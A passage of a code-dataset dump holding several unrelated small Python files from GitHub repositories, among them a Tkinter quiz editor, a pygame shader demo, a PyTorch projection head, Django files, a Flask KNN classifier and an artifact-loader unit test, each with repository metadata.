answer1.get(\"1.0\", \"end-1c\"),\n answer2.get(\"1.0\", \"end-1c\"), answer3.get(\"1.0\", \"end-1c\"),\n answer4.get(\"1.0\", \"end-1c\"), answers.get(correct_answer.get())))\n con.commit()\n con.close()\n label.config(text=\"Question added.\", foreground=\"green\")\n question.delete(1.0, END)\n answer1.delete(1.0, END)\n answer2.delete(1.0, END)\n answer3.delete(1.0, END)\n answer4.delete(1.0, END)\n question.focus()\n\n\ndef remove_question():\n x = tree.selection()[0]\n\n selected = tree.focus()\n question = tree.item(selected, \"values\")\n\n con = sqlite3.connect('teste.db')\n c = con.cursor()\n\n c.execute(f\"DELETE FROM questions WHERE id=\" + question[0])\n con.commit()\n tree.delete(x)\n\n con.close()\n\n", "repo_name": "alex-alk/python-teste", "sub_path": "questions.py", "file_name": "questions.py", "file_ext": "py", "file_size_in_byte": 6137, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "windowConfig.window", "line_number": 12, "usage_type": "argument"}, {"api_name": "windowConfig.window", "line_number": 13, "usage_type": "argument"}, {"api_name": "style.font", "line_number": 16, "usage_type": "name"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 18, "usage_type": "call"}, {"api_name": "windowConfig.window.geometry", "line_number": 25, "usage_type": "call"}, {"api_name": "windowConfig.window", "line_number": 25, "usage_type": "name"}, {"api_name": "windowConfig.window.resizable", "line_number": 26, "usage_type": "call"}, {"api_name": "windowConfig.window", "line_number": 26, "usage_type": "name"}, {"api_name": "windowConfig.window.geometry", "line_number": 35, "usage_type": "call"}, {"api_name": "windowConfig.window", "line_number": 35, "usage_type": "name"}, {"api_name": "windowConfig.window.resizable", "line_number": 36, "usage_type": "call"}, {"api_name": "windowConfig.window", "line_number": 36, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 38, "usage_type": "call"}, {"api_name": "tkinter.ttk.Button", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.ttk.Button", "line_number": 71, "usage_type": "call"}, {"api_name": "options.back_to_options_pack", "line_number": 72, "usage_type": "call"}, {"api_name": "style.font", "line_number": 77, "usage_type": "name"}, {"api_name": "style.font", "line_number": 80, "usage_type": "name"}, {"api_name": "style.font", "line_number": 83, "usage_type": "name"}, {"api_name": "style.font", "line_number": 86, "usage_type": "name"}, {"api_name": "style.font", "line_number": 89, "usage_type": "name"}, {"api_name": "style.font", "line_number": 92, "usage_type": "name"}, {"api_name": "style.font", "line_number": 95, "usage_type": "name"}, {"api_name": "style.font", "line_number": 98, "usage_type": "name"}, {"api_name": "style.font", "line_number": 101, "usage_type": "name"}, {"api_name": "style.font", "line_number": 104, "usage_type": "name"}, {"api_name": "style.font", "line_number": 107, "usage_type": "name"}, {"api_name": "tkinter.ttk.Combobox", "line_number": 112, "usage_type": "call"}, {"api_name": "style.font", "line_number": 112, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 120, "usage_type": "call"}, {"api_name": "tkinter.ttk.Button", "line_number": 125, "usage_type": "call"}, {"api_name": "options.back_to_options_pack", "line_number": 126, "usage_type": "call"}, {"api_name": "time.time", "line_number": 135, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 136, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 160, "usage_type": "call"}]} +{"seq_id": "37441439640", "text": "\nimport pygame\nimport pygame_shaders\n\npygame.init()\n\nscreen = pygame.display.set_mode((600, 600), pygame.OPENGL | pygame.DOUBLEBUF | pygame.HWSURFACE)\ndisplay = pygame.Surface((600, 600))\ndisplay.set_colorkey((0, 0, 0))\n\nshader = pygame_shaders.Shader(size=(600, 600), display=(600, 600), \n pos=(0, 0), vertex_path=\"shaders/vertex.txt\", \n fragment_path=\"shaders/default_frag.txt\", target_texture=display)\n\nclock = pygame.time.Clock()\n\nwhile True:\n pygame_shaders.clear((100, 100, 100)) #Fill with the color you would like in the background\n display.fill((0, 0, 0)) #Fill with the color you set in the colorkey\n \n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n \n pygame.draw.rect(display, (255, 0, 0), (20, 20, 20, 20)) #Draw a red rectangle to the display at (20, 20)\n \n shader.render(display) #Render the display onto the OpenGL display with the shaders!\n pygame.display.flip()\n clock.tick(60)\n", "repo_name": "Starbuck5/pygame_shaders", "sub_path": "examples/helloworld_shader/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1030, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "85", "api": [{"api_name": "pygame.init", "line_number": 5, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 7, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.OPENGL", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.DOUBLEBUF", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.HWSURFACE", "line_number": 7, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame_shaders.Shader", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.time.Clock", "line_number": 15, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pygame_shaders.clear", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 21, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 25, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pygame.display.flip", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 28, "usage_type": "attribute"}]} +{"seq_id": "37653661884", "text": "from torch import nn\n\nclass ProjectionHead(nn.Module):\n def __init__(\n self,\n embedding_dim,\n projection_dim,\n drop_rate,\n config,\n ):\n super().__init__()\n self.embedding_dim = config['projection_head']['image_embedding']\n self.projection_dim = config['projection_head']['projection_dim']\n self.drop_rate = config['projection_head']['drop_rate']\n self.projection = nn.Linear(embedding_dim, projection_dim)\n self.gelu = nn.GELU()\n self.fc = nn.Linear(projection_dim, projection_dim)\n self.dropout = nn.Dropout(drop_rate)\n self.layer_norm = nn.LayerNorm(projection_dim)\n \n def forward(self, x):\n projected = self.projection(x)\n x = self.gelu(projected)\n x = self.fc(x)\n x = self.dropout(x)\n x = x + projected\n x = self.layer_norm(x)\n return x", "repo_name": "dang-nh/CLIP-PyTorch-Implementation", "sub_path": "models/head/projection_head.py", "file_name": "projection_head.py", "file_ext": "py", "file_size_in_byte": 899, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "85", "api": [{"api_name": "torch.nn.Module", "line_number": 3, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 3, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.GELU", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Dropout", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.LayerNorm", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}]} +{"seq_id": "13217188020", "text": "from django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('giscube', '0019_giscubetransaction_error'),\n ]\n operations = [\n migrations.AlterField('Resource', 'id', models.IntegerField(verbose_name='ID')),\n migrations.RenameField('Resource', 'dataset', 'parent'),\n migrations.RenameModel('Resource', 'DatasetResource'),\n migrations.AlterField('DatasetResource', 'id', models.AutoField(\n auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ]\n", "repo_name": "giscube/giscube-admin", "sub_path": "giscube/migrations/0020_dataset_resource.py", "file_name": "0020_dataset_resource.py", "file_ext": "py", "file_size_in_byte": 566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 4, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 4, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 10, "usage_type": "name"}, {"api_name": "django.db.migrations.RenameField", "line_number": 11, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.migrations.RenameModel", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 12, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 13, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 13, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 13, "usage_type": "name"}]} +{"seq_id": "10107860227", "text": "from django import forms\nfrom .models import Order\n\n\nclass OrderForm(forms.ModelForm):\n class Meta: \n model = Order\n template_name = 'checkout/checkout.html'\n fields = ( 'first_name', 'second_name', 'email', 'address_1', 'address_2', 'country', 'county', 'telephone')\n \n \ndef __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)", "repo_name": "aliciarawlings/sweet_moments_milestone", "sub_path": "checkout/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 384, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.forms.ModelForm", "line_number": 5, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 5, "usage_type": "name"}, {"api_name": "models.Order", "line_number": 7, "usage_type": "name"}]} +{"seq_id": "24393610949", "text": "#!/usr/bin/env python3\nimport csv\nimport matplotlib.pyplot as plt\n\n\ndef read_csv(filename):\n\n years = []\n population = []\n line = 0\n\n try:\n with open(filename) as f:\n reader = csv.reader(f)\n next(reader)\n for row in reader:\n if line > 0:\n # Extract only the year from\n # date\n year = row[0].split('-')[0]\n years.append(year)\n population.append(int(float(row[1])))\n line += 1\n # reverse the lists sice the original data lists the\n # most recent years first\n population.reverse()\n years.reverse()\n\n except IOError:\n print(\"File not found or wrong file\")\n\n return population, years\n\n\ndef info(values):\n mean = int(sum(values) / len(values))\n nums = [(number - mean)**2 for number in values]\n variance = sum(nums) / len(values)\n std = variance**0.5\n\n values.sort()\n if len(values) % 2 == 0:\n n1 = values[(len(values) // 2) - 1]\n n2 = values[len(values) // 2]\n med = (n1 + n2) // 2\n else:\n med = values[len(values) // 2]\n\n return (mean, variance, std, med)\n\n\ndef plot_pop(population, years):\n plt.plot(years, population)\n plt.title(\"Population over years\")\n plt.xticks(rotation=90)\n ax = plt.gca()\n ax.get_yaxis().set_major_formatter(plt.FuncFormatter(lambda x, loc: \"{:,}\".format(int(x))))\n plt.show()\n\n\ndef plot_pop_dif(population, years):\n pop_diff = []\n years_diff = []\n\n for i, j in zip(range(len(population)), range(1, len(population))):\n pop_diff.append(population[j] - population[i])\n\n for i, j in zip(range(len(years)), range(1, len(years))):\n years_diff.append(years[j] + \"-\" + years[i])\n\n plt.plot(years_diff, pop_diff)\n plt.title(\"Population difference over years\")\n plt.xticks(rotation=90)\n ax = plt.gca()\n ax.get_yaxis().set_major_formatter(plt.FuncFormatter(lambda x, loc: \"{:,}\".format(int(x))))\n plt.show()\n\n\nif __name__ == \"__main__\":\n # filename = input(\"Enter the filename(Currently only supports .csv files): \")\n # Population information has to be like this: Date,Value\n # 2018-12-31,82319724.0\n filename = \"Files\\\\Turkey_Population.csv\"\n\n p, r = read_csv(filename)\n infos = info(p)\n\n print(\"Mean value of the population: {}, variance: {:.2f}, S.Deviation: {:.2f} and Median: {}\".format(infos[0],\n infos[1], infos[2], infos[3]))\n\n choice = input(\"1-Show Population over years\\n2-Show population difference over years\\n>>\")\n if choice == \"1\":\n plot_pop(p, r)\n if choice == \"2\":\n plot_pop_dif(p, r)\n else:\n print(\"Wrong choice\")\n", "repo_name": "Gerile3/My_Python", "sub_path": "Small Apps/population_info.py", "file_name": "population_info.py", "file_ext": "py", "file_size_in_byte": 2782, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "csv.reader", "line_number": 14, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.FuncFormatter", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 58, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 58, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.FuncFormatter", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 76, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 76, "usage_type": "name"}]} +{"seq_id": "74605080919", "text": "import argparse\nfrom math import log, ceil\nfrom time import time\nimport numpy as np\nfrom PIL import Image\nfrom .resoboard import ResoBoard\n\ndef main(\n load_filename,\n save_prefix,\n iterations = 1,\n save_each_iteration = True,\n V = False):\n \"\"\"Wraps the logic in 'resoboard' for simulating, exporting, etc.\n \n Used in the actual '__main__' of this function, with parameters passed from\n argparser.\n \n :param load_filename: location from which to load the image from\n :type load_filename: String\n :param save_prefix: location to save the file to.\n :type save_prefix: String\n :param iterations: Number of simulation steps to update the circuit.\n :type iterations: Int\n :param save_each_iteration: If true, save an image of the circuit each iteration.\n :type save_each_iteration: Bool\n :param V: If True, print verbose output while running\n :type V: Bool\n \"\"\"\n \n # See this ugly variable here?\n # This is why Python gave us fstrings.\n # todo: Use fstring magic throughout and see if things still print right.\n num_digits_in_fname = ceil(log(iterations+.1,10))\n \n if V:\n print(f\"Loading {load_filename} and iterating {iterations} time(s)...\")\n print(f\" and then saving to {save_prefix}x{*num_digits_in_fname}.png\")\n \n # Instantiate our ResoBoard\n compile_start = time()\n RB = ResoBoard(load_filename)\n compile_end = time()\n \n if V:\n print(f\"... Compiled in {compile_end - compile_start:.2f} seconds! Iterating now.\")\n \n # Simulation!\n iter_start = time()\n for ii in range(iterations):\n if save_each_iteration:\n # todo: Saving should use async/await concurrency magic.\n save_loc = save_prefix + str(ii).zfill(num_digits_in_fname) + \".png\"\n Image.fromarray(np.swapaxes(RB.get_image(),0,1)).save(save_loc)\n if V:\n print(\"Iteration: \",ii)\n # update_image is true if we're on our last iteration.\n update_image = save_each_iteration or ii == iterations - 1\n RB.iterate(update_resels = False, update_image = update_image )\n \n iter_end = time()\n # Last iteration, always saved\n if V:\n print(f\"Iteration: {iterations}\")\n print(f\"Completed {iterations + 1} steps in {iter_end - iter_start:.2f} seconds!\")\n save_loc = save_prefix + str(iterations).zfill(num_digits_in_fname) + \".png\"\n Image.fromarray(np.swapaxes(RB.get_image(),0,1)).save(save_loc)\n \n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Reso - graphical circuit design cellular automata\")\n parser.add_argument(\"load_location\", help=\"Location to load image from.\",\n type=str, nargs=1)\n parser.add_argument(\"--save\", \"-s\", help=\"Prefix to save images to.\",\n type=str, nargs=1)\n parser.add_argument(\"--numiter\",\"-n\",\n help=\"iterate the reso board n times. Defaults to 1.\",\n type=int, nargs=1)\n parser.add_argument(\"--outputlast\",\"-o\",\n help=\"Only save the final iteration of the board.\",\n action=\"store_true\")\n parser.add_argument(\"--verbose\",\"-v\", help=\"Print extra information; useful for debugging.\",\n action=\"store_true\")\n\n args = parser.parse_args()\n \n if args.load_location is None:\n raise ValueError\n \n if args.save is None:\n raise ValueError\n\n load_filename = args.load_location[0]\n save_prefix = args.save[0]\n iterations = 1 if args.numiter is None else args.numiter[0]\n save_each_iteration = not args.outputlast\n V = args.verbose\n \n main(load_filename, save_prefix, iterations, save_each_iteration, V)\n", "repo_name": "lynnpepin/reso", "sub_path": "src/reso/__main__.py", "file_name": "__main__.py", "file_ext": "py", "file_size_in_byte": 3774, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 299, "dataset": "github-code", "pt": "85", "api": [{"api_name": "math.ceil", "line_number": 34, "usage_type": "call"}, {"api_name": "math.log", "line_number": 34, "usage_type": "call"}, {"api_name": "time.time", "line_number": 41, "usage_type": "call"}, {"api_name": "resoboard.ResoBoard", "line_number": 42, "usage_type": "call"}, {"api_name": "time.time", "line_number": 43, "usage_type": "call"}, {"api_name": "time.time", "line_number": 49, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 54, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.swapaxes", "line_number": 54, "usage_type": "call"}, {"api_name": "time.time", "line_number": 61, "usage_type": "call"}, {"api_name": "PIL.Image.fromarray", "line_number": 67, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.swapaxes", "line_number": 67, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "14869442582", "text": "from flask import Flask, request\nfrom flask_cors import CORS\nfrom sklearn.metrics import confusion_matrix, classification_report, cohen_kappa_score\nfrom classifier import Classifier\nfrom dataframe_utils import get_categories\nfrom response import Response\nfrom response_json_encoder import ResponseEncoder\nimport json\nimport time\n\n\n#Set up Flask\napp = Flask(__name__)\n\n#Set up Flask to bypass CORS\ncors = CORS(app)\n\n#Create the receiver API POST endpoint:\n@app.route(\"/send\", methods=[\"POST\"])\ndef post_dataframe():\n dataframe = request.get_json()\n SPLITS = 4\n SHUFFLE = False\n i = 0\n\n y_real = []\n y_pred = []\n\n k_neighbors = 9\n classifier = Classifier(dataframe, k_neighbors)\n categories = get_categories(classifier.dataset.values.tolist())\n\n # ==================== START TIME ====================\n st = time.time()\n # ==================== START TIME ====================\n for X_train, X_test in classifier.execute_k_fold(SPLITS, SHUFFLE):\n y_train = [x[0] for x in X_train]\n y_test = [x[0] for x in X_test]\n X_train = [x[1:] for x in X_train]\n X_test = [x[1:] for x in X_test]\n\n y_real.extend(y_test)\n\n classifier.fit(X_train, y_train)\n print(f'Score: {classifier.get_score(X_test, y_test)}')\n for test_simplex in X_test:\n predicted_category = classifier.predict_simplex(test_simplex)\n y_pred.append(predicted_category)\n print('Simplex:', i)\n print('---------------------------------------------------\\n\\n')\n i += 1\n # ==================== END TIME ====================\n et = time.time()\n elapsed_time = et - st\n # ==================== END TIME ====================\n\n print('Elapsed time:', round(elapsed_time, 5), 'seconds')\n\n print(categories)\n response = Response()\n response.categories = categories\n response.confusion_matrix = confusion_matrix(y_real, y_pred, labels=categories).tolist()\n response.classification_report = classification_report(y_real, y_pred, output_dict=True)\n response.cohen_kappa = cohen_kappa_score(y_real, y_pred)\n return json.dumps(response, cls=ResponseEncoder)", "repo_name": "camilo4182/binary-categorical-classifier", "sub_path": "knn/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2062, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 16, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "classifier.Classifier", "line_number": 30, "usage_type": "call"}, {"api_name": "dataframe_utils.get_categories", "line_number": 31, "usage_type": "call"}, {"api_name": "classifier.dataset.values.tolist", "line_number": 31, "usage_type": "call"}, {"api_name": "classifier.dataset", "line_number": 31, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 34, "usage_type": "call"}, {"api_name": "classifier.execute_k_fold", "line_number": 36, "usage_type": "call"}, {"api_name": "classifier.fit", "line_number": 44, "usage_type": "call"}, {"api_name": "classifier.get_score", "line_number": 45, "usage_type": "call"}, {"api_name": "classifier.predict_simplex", "line_number": 47, "usage_type": "call"}, {"api_name": "time.time", "line_number": 53, "usage_type": "call"}, {"api_name": "response.Response", "line_number": 60, "usage_type": "call"}, {"api_name": "response.categories", "line_number": 61, "usage_type": "attribute"}, {"api_name": "response.confusion_matrix", "line_number": 62, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 62, "usage_type": "call"}, {"api_name": "response.classification_report", "line_number": 63, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.classification_report", "line_number": 63, "usage_type": "call"}, {"api_name": "response.cohen_kappa", "line_number": 64, "usage_type": "attribute"}, {"api_name": "sklearn.metrics.cohen_kappa_score", "line_number": 64, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 65, "usage_type": "call"}, {"api_name": "response_json_encoder.ResponseEncoder", "line_number": 65, "usage_type": "name"}]} +{"seq_id": "29769782988", "text": "import os\nimport unittest\n\nimport fixtures\nimport mock\nimport responses\nimport sys\nimport testtools\n\n# Add load_artifacts to path\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.abspath(__file__)), '..')))\n\nfrom ims_load_artifacts import load_artifacts\nfrom ims_load_artifacts import loaders\n\nmanifest_yaml = \"\"\"\n---\nversion: \"1.0.0\"\nimages:\n shasta_barebones_image-1.2.4:\n artifacts:\n - link:\n path: http://localhost:8081/repository/shasta-boot-artifacts/cray-sles15sp1-barebones-1.2.4.sqshfs\n type: http\n md5: f3287b5d1267da964cf30fb5910d3126\n type: application/vnd.cray.image.rootfs.squashfs\n - link:\n path: http://localhost:8081/repository/shasta-boot-artifacts/kernel-1.2.4\n type: http\n md5: f3287b5d1267da964cf30fb5910d3126\n type: application/vnd.cray.image.kernel\n - link:\n path: http://localhost:8081/repository/shasta-boot-artifacts/initrd-1.2.4\n type: http\n md5: f3287b5d1267da964cf30fb5910d3126\n type: application/vnd.cray.image.initrd\nrecipes:\n shasta_barebones_recipe-1.2.4:\n link:\n path: http://localhost:8081/repository/shasta-image-recipes/cray-sles15sp1-barebones-1.2.4.tgz\n type: http\n md5: f3287b5d1267da964cf30fb5910d3126\n linux_distribution: sles15\n recipe_type: kiwi-ng\n\"\"\"\n\n\nclass TestLoadArtifacts(testtools.TestCase):\n\n @responses.activate\n @mock.patch(\".\".join([load_artifacts.__name__, \"yaml.dump\"]))\n @mock.patch('builtins.open', new_callable=mock.mock_open, read_data=manifest_yaml)\n def test_init(self, mock_open, mock_yaml_dump):\n\n S3_ACCESS_KEY = self.getUniqueString()\n S3_SECRET_KEY = self.getUniqueString()\n S3_SSL_VALIDATE = self.getUniqueString()\n S3_ENDPOINT = self.getUniqueString()\n S3_BUCKET = self.getUniqueString()\n\n # IMS Ready Check\n responses.add(responses.GET, 'http://cray-ims/healthz/ready',\n status=200,\n content_type='application/octet-stream',\n adding_headers={'Transfer-Encoding': 'chunked'})\n\n # IMS Recipe Data\n for url in ['http://localhost:8081/repository/shasta-image-recipes/cray-sles15sp1-barebones-1.2.4.tgz']:\n responses.add(responses.GET, url,\n body='test', status=200,\n content_type='application/octet-stream',\n adding_headers={'Transfer-Encoding': 'chunked'})\n\n # IMS Image Data\n for url in ['http://localhost:8081/repository/shasta-boot-artifacts/cray-sles15sp1-barebones-1.2.4.sqshfs',\n 'http://localhost:8081/repository/shasta-boot-artifacts/kernel-1.2.4',\n 'http://localhost:8081/repository/shasta-boot-artifacts/initrd-1.2.4']:\n responses.add(responses.GET, url,\n body='test', status=200,\n content_type='application/octet-stream',\n adding_headers={'Transfer-Encoding': 'chunked'})\n\n self.useFixture(fixtures.EnvironmentVariable(\n 'ACCESS_KEY', S3_ACCESS_KEY))\n self.useFixture(fixtures.EnvironmentVariable(\n 'SECRET_KEY', S3_SECRET_KEY))\n self.useFixture(fixtures.EnvironmentVariable(\n 'S3_ENDPOINT', S3_ENDPOINT))\n self.useFixture(fixtures.EnvironmentVariable(\n 'SSL_VALIDATE', S3_SSL_VALIDATE))\n self.useFixture(fixtures.EnvironmentVariable(\n 'S3_BUCKET', S3_BUCKET))\n\n ih_mock = self.useFixture(fixtures.MockPatchObject(\n loaders, 'ImsHelper', autospec=True)).mock\n\n ih_mock._md5.return_value = \"f3287b5d1267da964cf30fb5910d3126\"\n\n # Call load_artifacts\n ret_value = load_artifacts.main()\n\n self.assertEqual(ret_value, 0)\n\n # there are two instantiations of ims-python-helper, first for recipes, second for images\n self.assertEqual(ih_mock.call_count, 2)\n\n # There should be 6 total method calls, based on the test manifest above\n self.assertEqual(len(ih_mock.method_calls), 6)\n\n # method call 1, to validate the md5 of the barebones recipe tgz archive\n self.assertEqual(ih_mock.method_calls[0][0], \"_md5\")\n self.assertEqual(len(ih_mock.method_calls[0][1]), 1)\n self.assertEqual(ih_mock.method_calls[0][1][0], \"/tmp/cray-sles15sp1-barebones-1.2.4.tgz\")\n\n # method call 2, to upload the recipe to S3 and IMS\n self.assertEqual(ih_mock.method_calls[1][0], \"().recipe_upload\")\n self.assertEqual(len(ih_mock.method_calls[1][1]), 4)\n self.assertEqual(ih_mock.method_calls[1][1][0], \"shasta_barebones_recipe-1.2.4\")\n self.assertEqual(ih_mock.method_calls[1][1][1], \"/tmp/cray-sles15sp1-barebones-1.2.4.tgz\")\n self.assertEqual(ih_mock.method_calls[1][1][2], \"sles15\")\n self.assertEqual(ih_mock.method_calls[1][1][3], [])\n\n # method call 3, to validate the md5 of the cray-sles15sp1-barebones-1.2.4.sqshfs\n self.assertEqual(ih_mock.method_calls[2][0], \"_md5\")\n self.assertEqual(len(ih_mock.method_calls[2][1]), 1)\n self.assertEqual(ih_mock.method_calls[2][1][0], \"/tmp/cray-sles15sp1-barebones-1.2.4.sqshfs\")\n\n # method call 4, to validate the md5 of the kernel-1.2.4\n self.assertEqual(ih_mock.method_calls[3][0], \"_md5\")\n self.assertEqual(len(ih_mock.method_calls[3][1]), 1)\n self.assertEqual(ih_mock.method_calls[3][1][0], \"/tmp/kernel-1.2.4\")\n\n # method call 5, to validate the md5 of the initrd-1.2.4\n self.assertEqual(ih_mock.method_calls[4][0], \"_md5\")\n self.assertEqual(len(ih_mock.method_calls[4][1]), 1)\n self.assertEqual(ih_mock.method_calls[4][1][0], \"/tmp/initrd-1.2.4\")\n\n # method call 6, to upload the image artifacts to S3 and IMS\n self.assertEqual(ih_mock.method_calls[5][0], \"().image_upload_artifacts\")\n self.assertEqual(len(ih_mock.method_calls[5][2]), 5)\n self.assertEqual(ih_mock.method_calls[5][2][\"image_name\"], 'shasta_barebones_image-1.2.4')\n self.assertEqual(ih_mock.method_calls[5][2][\"rootfs\"], ['/tmp/cray-sles15sp1-barebones-1.2.4.sqshfs'])\n self.assertEqual(ih_mock.method_calls[5][2][\"kernel\"], ['/tmp/kernel-1.2.4'])\n self.assertEqual(ih_mock.method_calls[5][2][\"initrd\"], ['/tmp/initrd-1.2.4'])\n self.assertEqual(ih_mock.method_calls[5][2][\"boot_parameters\"], None)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "repo_name": "Cray-HPE/ims-load-artifacts", "sub_path": "tests/test_load_artifacts.py", "file_name": "test_load_artifacts.py", "file_ext": "py", "file_size_in_byte": 6515, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "testtools.TestCase", "line_number": 48, "usage_type": "attribute"}, {"api_name": "responses.add", "line_number": 62, "usage_type": "call"}, {"api_name": "responses.GET", "line_number": 62, "usage_type": "attribute"}, {"api_name": "responses.add", "line_number": 69, "usage_type": "call"}, 